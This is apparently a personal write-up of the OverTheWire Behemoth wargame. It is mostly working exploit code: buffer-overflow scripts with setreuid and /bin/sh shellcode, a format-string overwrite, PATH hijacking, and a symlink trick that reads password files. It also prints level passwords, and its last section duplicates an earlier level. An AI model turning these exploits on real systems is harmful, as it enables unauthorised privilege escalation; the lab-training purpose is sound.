Avishai's CTF Writeups

...

View on GitHub

← Back to OverTheWire

This folder contains solutions for the Behemoth wargame from OverTheWire.

behemoth01

the code can be found here

from pwn import *

PATH = '/behemoth/behemoth0'
password = "eatmyshorts"


p = process(PATH)
p.sendline(password.encode())
p.interactive()

p.close()

here we reversed the file, and saw the password is eatmyshorts

Flag: 8YpAQCAuKf

Next Level Writeup

behemoth02

first we can see the challenge is based on buffer overflow, because the binary uses get.

let’s use our script to find what is the position of the ret-address… we’ve found it’s 71. then, we will generate shellcode.

import sys

NOP_SLIDE = 50

print = lambda *args, **kwargs: None # override print function


# setreuid(geteuid(), geteuid())
# execv("/bin//sh", argv)

# Shellcode in Python
shellcode = (
    b"\x6a\x31"  # push 0x31 (49)
    b"\x58"      # pop eax
    b"\xcd\x80"  # int 0x80 (geteuid())

    b"\x89\xc3"  # mov ebx, eax (uid)
    b"\x89\xd9"  # mov ecx, ebx
    b"\x6a\x46"  # push 0x46 (70)
    b"\x58"      # pop eax
    b"\xcd\x80"  # int 0x80, setreuid(geteuid(), geteuid())

    b"\x31\xd2"  # xor edx, edx
    b"\x52"      # push edx, which is \0
    b"\x68\x2f\x2f\x73\x68"  # push "//sh"
    b"\x68\x2f\x62\x69\x6e"  # push "/bin"
    b"\x89\xe3"  # mov ebx, esp (now ebx contains: "/bin//sh",\x00)

    b"\x52"      # push edx (push NULL into stack)
    b"\x53"      # push ebx (push pathname)
    b"\x89\xe1"  # mov ecx, esp (ecx is argv)

    b"\xb0\x0b"  # mov al, 0x0b (11)
    b"\xcd\x80"  # int 0x80 (execv("/bin//sh", argv))

        # mv eax, 1         ; system call number (sys_exit)
    b"\x6a\x01"  # push 1
    b"\x58"      # pop eax (sys_exit)
    # int 0x80
    b"\xcd\x80"  # int 0x80 (exit())
)

# Print shellcode details
print("Shellcode code is:")
print("setreuid(geteuid(), geteuid())")
print("execv(\"/bin//sh\", argv)")

# Print shellcode with NOP slide
print("\nShellcode as formatted string:")

# Add NOP slide (\x90) before shellcode
nop_slide = b"\x90" * NOP_SLIDE
formatted_shellcode = nop_slide + shellcode

# Convert to formatted string
formatted_string = "".join(f"\\x{byte:02x}" for byte in formatted_shellcode)
print(formatted_string)

# Print shellcode in hex format
print("\nShellcode in hex format:")
print("".join(f"{byte:02x}" for byte in formatted_shellcode))

# Calculate shellcode length
print(f"\nLength of shellcode is {len(formatted_shellcode)} bytes")

sys.stdout.buffer.write(formatted_shellcode)

now we will load the shellcode into env variable:

export SHELLCODE=$(echo -e "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x6a\x31\x58\xcd\x80\x89\xc3\x89\xd9\x6a\x46\x58\xcd\x80\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80")

we need to find the address of the env variable.

#include<stdio.h>
#include<stdlib.h>

int main(int argc, char* argv[])
{
    if(argc < 2){
        printf("Usage: num of variable is %d, less than expected\n",argc);
        return 1;
    }
    printf("name of var is: %s\n", argv[1]); 
    printf("address is %p\n", (void*)getenv(argv[1]));
        return 0;
}

// this code can be used to get address of env_var, by this way you can override the ret-address

notice to compile it with the -m32 flag, for example: gcc -m32 get_address.c -o get_address

after finding the address of the env variable, in our case: 0xffffd511, we need to insert it to the script that solves the challenge.

from pwn import *

PATH = '/behemoth/behemoth1'

print(cyclic(1000))  # Generate a 100-byte cyclic pattern

# crash_addr = 0x66616168
# print(cyclic_find(crash_addr))
# find after how many bytes the ret-address is found, in this case, 71.
ret_addr_pos = 71
ret_addr = 0xffffd511

payload = ret_addr_pos * b'a'
payload += p32(ret_addr)

p = process(PATH)
p.sendline(payload)
p.interactive()

p.close()


Flag: IxPJbQtH8q

Next Level Writeup

behemoth03

In this challenge, we can see the code call this line in C: system("touch $pid"), so, we’ll override the touch by manipulating the $PATH environment variable.

behemoth2@gibson:/tmp/tmp.SzpOLaiNNy$ echo "/bin/bash" > touch
behemoth2@gibson:/tmp/tmp.SzpOLaiNNy$ export PATH=$(pwd):$PATH
behemoth2@gibson:/tmp/tmp.SzpOLaiNNy$ chmod +x touch
behemoth2@gibson:/tmp/tmp.SzpOLaiNNy$ chmod +x .
behemoth2@gibson:/tmp/tmp.SzpOLaiNNy$ /behemoth/behemoth2
behemoth3@gibson:/tmp/tmp.SzpOLaiNNy$ cat /etc/behemoth_pass/behemoth3
JQ6tZGqt0i

Flag: JQ6tZGqt0i

Next Level Writeup

behemoth04

first i created profile.rr2 file and put the follow content in it:

program=/behemoth/behemoth3
stdin=input

then, i inserted the payload into the input file:

python3 payload.py > input

and then, when i want to debug with r2 and the given input, i can run this line:

r2 -e dbg.profile=profile.rr2

first, we can see that the binary doesn’t use ASLR, and also the relro is turned off. alt text

so, let’s try to use the format string attack to override the address of the puts function to our shellcode address.

find the address to override: alt text alt text so, the address is: 0x0804b218 the address we want to insert is: 0xffffd53f (same as last level, put shellcode on env, and find its address)

the python script for creating the payload can is here: [level4.py]

from pwn import *
import sys

address_of_puts = 0x0804b218
address_of_shellcode = 0xffffd510

payload = b'JUNK' 
payload += p32(address_of_puts)
payload += b'JUNK' 
payload += p32(address_of_puts+1)
payload += b'JUNK' 
payload += p32(address_of_puts+2)
payload += b'JUNK' 
payload += p32(address_of_puts+3)

printed_chars = len(payload)
byte_to_insert = address_of_shellcode & 0xff
print(byte_to_insert)
res = byte_to_insert - printed_chars

print("res is:",res)
if res <= 4:
    while res <= 4:
        res += 0x100
    payload += b'%' + str(res).encode()+ b'x'  + b'%n'
    printed_chars += res
else:
    payload += b'%' + str(res).encode()+ b'x'  + b'%n'
    printed_chars += res 


byte_to_insert = (address_of_shellcode & (0xff << 8) ) >> 8
print(byte_to_insert)
res = byte_to_insert - printed_chars
print("res is:",res)
if res <= 4:
    while res <= 4:
        res += 0x100
    payload += b'%' + str(res).encode()+ b'x'  + b'%n'
    printed_chars += res
else:
    payload += b'%' + str(res).encode()+ b'x'  + b'%n'
    printed_chars += res


byte_to_insert = (address_of_shellcode & (0xff << 16) ) >> 16
print(byte_to_insert)
res = byte_to_insert - printed_chars
print("res is:",res)
if res <= 4:
    while res <= 4:
        res += 0x100
    payload += b'%' + str(res).encode()+ b'x'  + b'%n'
    printed_chars += res
else:
    payload += b'%' + str(res).encode()+ b'x'  + b'%n'
    printed_chars += res


byte_to_insert = (address_of_shellcode & (0xff << 24) ) >> 24
print(byte_to_insert)
res = byte_to_insert - printed_chars 
print("res is:",res)
if res <= 4:
    while res <= 4:
        res += 0x100
    # payload += b'%' + str(res+4).encode()+ b'x'  + b'%n'
    payload += b'%' + str(res).encode()+ b'x' + b'%n'
    printed_chars += res
else:
    payload += b'%' + str(res).encode()+ b'x'  + b'%n'
    printed_chars += res


sys.stdout.buffer.write(payload)

after building the payload, all left is to run this:

(python3 payload.py;cat) | /behemoth/behemoth3

and then

cat /etc/behemoth_pass/behemoth4
hpjUdlG723

Flag: hpjUdlG723

Next Level Writeup

behemoth05

i created a code in c that creates the file, and then link it to the password.

#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>

int main()
{
    pid_t pid = getpid();
    printf("current pid is %d\n", pid);

    char command[20];
    sprintf(command, "touch /tmp/%d", pid);
    system(command);
    printf("created /tmp/%d\n", pid);

    char command_link[50];
    sprintf(command_link, "ln -sf /etc/behemoth_pass/behemoth5 /tmp/%d", pid);
    system(command_link);
    printf("linked /tmp/%d to /etc/behemoth_pass/behemoth5\n", pid);

    const char* filename = "/behemoth/behemoth4";
    execl(filename, filename ,NULL);

    return 0;
}


alt text

Flag: mVfC4rBKZ4

Next Level Writeup

behemoth06

in this challenge i wrote simple script that creates UDP socket that tries to listen to localhost:1337

import socket

HOST = '127.0.0.1'  
PORT = 1337         

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((HOST, PORT))

while True:
    try:
        data = sock.recv(1024) 
        print(f"Received: {data.decode('utf-8')}")
        break
    except Exception as e:
        print(f"An error occurred: {e}")

alt text

Flag: j9I1wHzfVC

Next Level Writeup

behemoth07

In this challenge, we need to write our own shellcode that will print “HelloKitty”. notice that you can’t use ‘0xb’ in the shellcode, which is the length of the string “HelloKitty”, thus, i used ‘0xc’ (it will stop after 11 characters because there is null there)

here the shellcode can be found

import sys

NOP_SLIDE = 50

# print = lambda *args, **kwargs: None # override print function


# Shellcode in Python
# write(1, "HelloKitty", 11)
shellcode = (


    # mov	ecx,msg		; message to write
    b"\x31\xd2"  # xor edx, edx
    b"\x52"      # push edx, which is \0
    b"\x68\x69\x74\x74\x79"      # push "itty"
    b"\x68\x6c\x6c\x6f\x4b"      # push "lloK"
    b"\x68\x0a\x0a\x48\x65"      # push "He"
    b"\x83\xc4\x02" #  add esp, 2 
    b"\x89\xe1"  # mov ecx, esp (now ecx contains: "HelloKitty",\x00)

    # mov	ebx,1		; file descriptor (stdout)
    b"\x6a\x01"  # push 1
    b"\x5b"      # pop ebx

    # mov	edx,12		; message length (+1s)
    b"\x6a\x0c"  # push 11, in this challange i mustn't use '0xb'
    b"\x5a"      # pop edx
    
    # mov	eax,4		; system call number (sys_write)
    b"\x6a\x04"  # push 4
    b"\x58"      # pop eax (sys_write)
    # int 0x80
    b"\xcd\x80"  # int 0x80 (write(1, "HelloKitty", 11))

    # mv eax, 1         ; system call number (sys_exit)
    b"\x6a\x01"  # push 1
    b"\x58"      # pop eax (sys_exit)
    # int 0x80
    b"\xcd\x80"  # int 0x80 (exit())



)

# Print shellcode details
print("Shellcode code is:")
print("write(1, \"HelloKitty\", 11)")

# Print shellcode with NOP slide
print("\nShellcode as formatted string:")

# Add NOP slide (\x90) before shellcode
nop_slide = b"\x90" * NOP_SLIDE
formatted_shellcode = nop_slide + shellcode

# Convert to formatted string
print("".join(f"\\x{byte:02x}" for byte in formatted_shellcode))

# Print shellcode in hex format
print("\nShellcode in hex format:")
print("".join(f"{byte:02x}" for byte in formatted_shellcode))

# Calculate shellcode length
print(f"\nLength of shellcode is {len(formatted_shellcode)} bytes")

# sys.stdout.buffer.write(formatted_shellcode)

alt text

Flag: sV17oOQTKc

Next Level Writeup

behemoth08

we can see it doesn’t have ASLR and stack protection. alt text

we’ve found using the begin of the script that after 528 bytes we reach the ret-address. however, when trying to enter non alpha characters, it detects us and closing.

if we’ll look closely, we can see that it checks only the 512 first characters, then, it will go to the strcpy without checking. YAY :) alt text

now all left is to find the address of the buffer, play with the debugger to find it. notice it changes based on the length of the input you give it.

here can be found our injection:

from pwn import *

print = lambda *args, **kwargs: None # override print function


# Generate a 528-byte cyclic pattern to identify the return address position (if needed)
# print(cyclic(1000))  # Generate a 1000-byte cyclic pattern

# crash_addr = 0x66616168
# print(cyclic_find(crash_addr))  # Uncomment to find the offset
# For this case, ret-address is at offset 528
ret_addr_pos = 528
buffer_address = 0xffffce8c  # Example buffer address; adjust for your environment

# Calculate the new return address to point to the shellcode
new_ret_address = buffer_address + ret_addr_pos + 8  # Shellcode starts right after ret address

# Initial payload with padding
payload = b"A" * ret_addr_pos  # Padding to fill the buffer
payload += p32(new_ret_address)  # Overwrite return address with the address pointing to the shellcode

NOP_SLIDE = 50  # Number of NOP instructions before shellcode

# Shellcode in Python
shellcode = (
    b"\x6a\x31"  # push 0x31 (geteuid())
    b"\x58"      # pop eax
    b"\xcd\x80"  # int 0x80 (geteuid())

    b"\x89\xc3"  # mov ebx, eax (uid)
    b"\x89\xd9"  # mov ecx, ebx
    b"\x6a\x46"  # push 0x46 (setreuid())
    b"\x58"      # pop eax
    b"\xcd\x80"  # int 0x80 (setreuid(geteuid(), geteuid()))

    b"\x31\xd2"  # xor edx, edx
    b"\x52"      # push edx, which is \0
    b"\x68\x2f\x2f\x73\x68"  # push "//sh"
    b"\x68\x2f\x62\x69\x6e"  # push "/bin"
    b"\x89\xe3"  # mov ebx, esp (now ebx contains "/bin//sh",\x00)

    b"\x52"      # push edx (push NULL into stack)
    b"\x53"      # push ebx (push pathname)
    b"\x89\xe1"  # mov ecx, esp (ecx is argv)

    b"\xb0\x0b"  # mov al, 0x0b (execve syscall number)
    b"\xcd\x80"  # int 0x80 (execve("/bin//sh", argv))

    b"\x6a\x01"  # push 1
    b"\x58"      # pop eax (sys_exit)
    b"\xcd\x80"  # int 0x80 (exit())
)

# Add NOP slide (\x90) before the shellcode for stability
nop_slide = b"\x90" * NOP_SLIDE
formatted_shellcode = nop_slide + shellcode

# Append the shellcode to the payload
payload += formatted_shellcode

# Print shellcode details
print("Shellcode code is:")
print("setreuid(geteuid(), geteuid())")
print("execv(\"/bin//sh\", argv)")

# Print shellcode as formatted string
formatted_string = "".join(f"\\x{byte:02x}" for byte in formatted_shellcode)
print("\nShellcode as formatted string:")
print(formatted_string)

# Print shellcode in hex format
print("\nShellcode in hex format:")
print(" ".join(f"{byte:02x}" for byte in formatted_shellcode))

# Calculate shellcode length
print(f"\nLength of shellcode is {len(formatted_shellcode)} bytes")

# Print shellcode as formatted string
formatted_string = "".join(f"\\x{byte:02x}" for byte in payload)

print("Final payload as formatted string:")
print(formatted_string)
# Final payload ready to be sent
print("\nFinal payload in hex:")
print(" ".join(f"{byte:02x}" for byte in payload))

sys.stdout.buffer.write(payload)

alt text

Flag: 8yWcelJd0D

Next Level Writeup

behemotha091
import sys

NOP_SLIDE = 50

print = lambda *args, **kwargs: None # override print function


# setreuid(geteuid(), geteuid())
# execv("/bin//sh", argv)

# Shellcode in Python
shellcode = (
    b"\x6a\x31"  # push 0x31 (49)
    b"\x58"      # pop eax
    b"\xcd\x80"  # int 0x80 (geteuid())

    b"\x89\xc3"  # mov ebx, eax (uid)
    b"\x89\xd9"  # mov ecx, ebx
    b"\x6a\x46"  # push 0x46 (70)
    b"\x58"      # pop eax
    b"\xcd\x80"  # int 0x80, setreuid(geteuid(), geteuid())

    b"\x31\xd2"  # xor edx, edx
    b"\x52"      # push edx, which is \0
    b"\x68\x2f\x2f\x73\x68"  # push "//sh"
    b"\x68\x2f\x62\x69\x6e"  # push "/bin"
    b"\x89\xe3"  # mov ebx, esp (now ebx contains: "/bin//sh",\x00)

    b"\x52"      # push edx (push NULL into stack)
    b"\x53"      # push ebx (push pathname)
    b"\x89\xe1"  # mov ecx, esp (ecx is argv)

    b"\xb0\x0b"  # mov al, 0x0b (11)
    b"\xcd\x80"  # int 0x80 (execv("/bin//sh", argv))

        # mv eax, 1         ; system call number (sys_exit)
    b"\x6a\x01"  # push 1
    b"\x58"      # pop eax (sys_exit)
    # int 0x80
    b"\xcd\x80"  # int 0x80 (exit())
)

# Print shellcode details
print("Shellcode code is:")
print("setreuid(geteuid(), geteuid())")
print("execv(\"/bin//sh\", argv)")

# Print shellcode with NOP slide
print("\nShellcode as formatted string:")

# Add NOP slide (\x90) before shellcode
nop_slide = b"\x90" * NOP_SLIDE
formatted_shellcode = nop_slide + shellcode

# Convert to formatted string
formatted_string = "".join(f"\\x{byte:02x}" for byte in formatted_shellcode)
print(formatted_string)

# Print shellcode in hex format
print("\nShellcode in hex format:")
print("".join(f"{byte:02x}" for byte in formatted_shellcode))

# Calculate shellcode length
print(f"\nLength of shellcode is {len(formatted_shellcode)} bytes")

sys.stdout.buffer.write(formatted_shellcode)

we need to find the address of the env variable.

#include<stdio.h>
#include<stdlib.h>

int main(int argc, char* argv[])
{
    if(argc < 2){
        printf("Usage: num of variable is %d, less than expected\n",argc);
        return 1;
    }
    printf("name of var is: %s\n", argv[1]); 
    printf("address is %p\n", (void*)getenv(argv[1]));
        return 0;
}

// this code can be used to get address of env_var, by this way you can override the ret-address

from pwn import *

PATH = '/behemoth/behemoth1'

print(cyclic(1000))  # Generate a 100-byte cyclic pattern

# crash_addr = 0x66616168
# print(cyclic_find(crash_addr))
# find after how many bytes the ret-address is found, in this case, 71.
ret_addr_pos = 71
ret_addr = 0xffffd511

payload = ret_addr_pos * b'a'
payload += p32(ret_addr)

p = process(PATH)
p.sendline(payload)
p.interactive()

p.close()


Flag: IxPJbQtH8q

Next Level Writeup